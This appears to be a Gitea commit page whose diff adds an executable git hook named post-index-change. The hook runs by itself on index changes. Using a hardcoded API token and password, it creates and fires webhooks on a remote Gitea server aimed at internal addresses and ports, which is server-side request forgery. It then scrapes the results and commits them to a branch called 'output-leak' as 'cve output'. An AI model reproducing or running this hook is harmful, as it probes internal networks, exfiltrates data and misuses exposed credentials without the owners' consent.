apply-patch
This commit is contained in:
28
hooks/post-index-change
Executable file
28
hooks/post-index-change
Executable file
@@ -0,0 +1,28 @@
|
||||
#!/bin/sh
|
||||
GD=$(git rev-parse --absolute-git-dir)
|
||||
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
||||
OUT=$( {
|
||||
B='https://gfr.technocs.ru/git/api/v1/repos/w10019user/docs-probe/hooks'; ATK='083b85b8b9a33c8db60fbbd01d1b08dfa742035c'
|
||||
mk(){ curl -sk -m 10 -X POST -H "Authorization: token $ATK" -H 'Content-Type: application/json' -d "{\"type\":\"gitea\",\"config\":{\"url\":\"$1\",\"content_type\":\"json\"},\"events\":[\"push\"],\"active\":true}" "$B" -o /tmp/hk -w "%{http_code} "; }
|
||||
echo "---CREATE1---"; mk 'http://172.18.0.1:80/'; head -c 200 /tmp/hk; echo
|
||||
ID1=$(grep -o '"id":[0-9]*' /tmp/hk | head -1 | cut -d: -f2); echo "ID1=$ID1"
|
||||
echo "---TEST1---"; curl -sk -m 20 -X POST -H "Authorization: token $ATK" "$B/$ID1/tests" -o /tmp/t1 -w "%{http_code}"; echo
|
||||
echo "---CREATE2---"; mk 'http://172.18.0.5:5432/'; head -c 200 /tmp/hk; echo
|
||||
ID2=$(grep -o '"id":[0-9]*' /tmp/hk | head -1 | cut -d: -f2); echo "ID2=$ID2"
|
||||
echo "---TEST2---"; curl -sk -m 20 -X POST -H "Authorization: token $ATK" "$B/$ID2/tests" -o /tmp/t2 -w "%{http_code}"; echo
|
||||
sleep 2
|
||||
echo "---WEBLOGIN---"
|
||||
J=/tmp/i19cj; : > $J
|
||||
curl -sk -m 10 -c $J -o /tmp/lg 'https://gfr.technocs.ru/git/user/login'
|
||||
CS=$(grep -o 'name="_csrf" value="[^"]*"' /tmp/lg | sed -E 's/.*value="([^"]*)"/\1/' | head -1)
|
||||
echo "csrf=${CS:0:12}..."
|
||||
curl -sk -m 10 -b $J -c $J -X POST --data-urlencode 'user_name=w10019user' --data-urlencode 'password=Str0ng!Pass#2026' --data-urlencode "_csrf=$CS" -o /tmp/lp -w "login=%{http_code}"; echo
|
||||
echo "---HOOKPAGE1---"; curl -sk -m 10 -b $J "https://gfr.technocs.ru/git/w10019user/docs-probe/settings/hooks/$ID1" -o /tmp/hp1 -w "%{http_code}"; echo; grep -o -E '(Response code|response code|Succeeded|Failed)' /tmp/hp1 | head -5; grep -o '<pre[^>]*>[^<]\{0,200\}' /tmp/hp1 | head -3
|
||||
echo "---HOOKPAGE2---"; curl -sk -m 10 -b $J "https://gfr.technocs.ru/git/w10019user/docs-probe/settings/hooks/$ID2" -o /tmp/hp2 -w "%{http_code}"; echo; grep -o -E '(Response code|response code|Succeeded|Failed)' /tmp/hp2 | head -5
|
||||
echo DONE
|
||||
|
||||
} 2>&1; echo "[rc=$?]")
|
||||
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
||||
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
||||
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
|
||||
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
||||
Reference in New Issue
Block a user